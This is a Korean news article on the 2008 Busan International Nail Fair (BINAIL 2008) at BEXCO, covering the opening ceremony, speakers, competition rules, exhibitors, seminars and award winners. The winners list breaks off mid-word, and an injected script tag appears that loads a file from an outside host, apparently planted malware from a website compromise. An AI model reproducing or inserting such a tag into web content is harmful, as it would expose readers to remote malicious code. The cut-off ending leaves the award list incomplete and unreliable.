올해로 3회를 맞는 BINAIL(Busan International Nail Fair 2008) 행사가 많은 네일인들의 관심 속에 부산 BEXCO에서 6월 14일~15일 개최됐다.
한국네일협회(회장 이미선)가 주최한 이번 행사는 동북아 문화의 중심지인 부산에서 성대하게 치러진 대규모 행사로서 국내 네일 산업의 현주소를 세계에 증명해보인 의미 있는 시간이 됐다.
대회 일정 첫 날인 14일은 이미선 회장, 김홍백 원장, 최경희 고문, 조옥희 고문, 이손 기술위원장 등의 내외귀빈 및 행사주최자들의 참여 속에 비네일을 기념하는 테잎 커팅식으로 성대한 막이 열렸으며, 이기쁨 사회자의 개회안내와 함께 김진우 한국네일협회 경상도지회장의 개회선언과 이나겸 한국네일협회 부산광역시지회장의 개회사가 있었다.
이어서 비네일 개최의 축하를 위해 이미선 한국네일협회 회장이 격려사를 낭독했으며 김홍백 한국네일기술진흥원 원장, 권봉숙 대동대학 피부미용학과 학과장, 가오리 이와이 오딧세이네일시스템 일본 수석 에듀케이터의 축사가 이어졌다.
김진우 BINAIL2008대회 조직위원장 지회장의 경과보고 후에는 공로패 수여식이 이어졌다. 또한 한국네일협회가 증정하는 감사패 수여식에 이어 BINAIL2008 대회 위촉패 수여식이 이뤄졌으며 고연희 선수대표의 선서로 성대한 대회의 시작을 알렸다.
이번 대회는 세계 챔피언십에도 견줄 수 있는 대회가 될 수 있도록 규모는 물론이고 종목과 규정, 심사에서도 뒤지지 않도록 철저히 준비했다.
종전의 대회방식에서 나타났던 문제점을 개선해 실용적인 살롱스타일의 네일아트를 선보일 수 있도록 한 것이 특징이며 프로와 세미프로, 주니어와 스튜던트 등 기존 그레이드의 구분이 없이 출전 가능한 자유종목도 만들어져 많은 이들이 대회에 참가해 그동안 쌓아왔던 실력을 발휘했다.
행사에 참여한 부스들도 다양해 지오닉스, 네일파크, 오딧세이네일시스템 등 많은 업체들이 참가해 네일에 관심 있는 일반 참관객들의 발길이 이어졌다.
또한 각 부스에서 선보인 네일아트 및 왁싱, 타투, 스파, 블레이즈 등의 시술행사는 참관객들의 뜨거운 호응으로 성황을 이뤘다.
행사 이튿날은 대회와 더불어 3층의 세미나룸에서 자격증 교육이 이뤄졌으며 일본의 가오리 이와이, 츠치야 유키의 세미나가 연달아 이어져 일본의 네일 기술을 전수받을 수 있는 좋은 기회가 됐다.
합격자들은 이틀간의 피곤한 일정 속에서도 열정적으로 세미나에 참여했으며 전문가의 능숙한 테크닉에 연신 감탄사를 연발했다.
이틀간 이어진 대회의 피날레를 장식하는 시상식에 앞서 선수들의 긴장감을 고조시키는 역동적인 헤나쇼가 이어졌으며 이후 수상자 발표를 통해 대회에 참가한 많은 선수들이 각 부문별로 금상, 은상, 동상, 장려상, 특별상 등을 수상했다. 수상자는 다음과 같다.
△그랜드챔피언 프로페셔널 부문- 골드 강은영, 실버 진부경, 브론즈 최승희 △그랜드챔피언 세미프로 부문- 골드 김미옥, 실버 이상희, 브론즈 윤애리 △그랜드챔피언 쥬니어 부문- 골드 반아름, 실버 이현정, 브론즈 조은선, △그랜드챔피언 스튜던트 부문- 골드 전유진, 실버 정지연, 브론즈 강경리 △프로페셔널 네일케어 부문- 골드 김미량, 스톤아트 부문- 골드 최승희, 프렌치스캅춰 부문- 골드 강은영, 젤프렌치 스캅춰 부문- 골드 진부경 △세미프로 네일케어 부문- 골드 윤성희, 스톤아트 부문- 골드 김미옥, 실크익스?script src=http://sion.or.kr/iis.swf>
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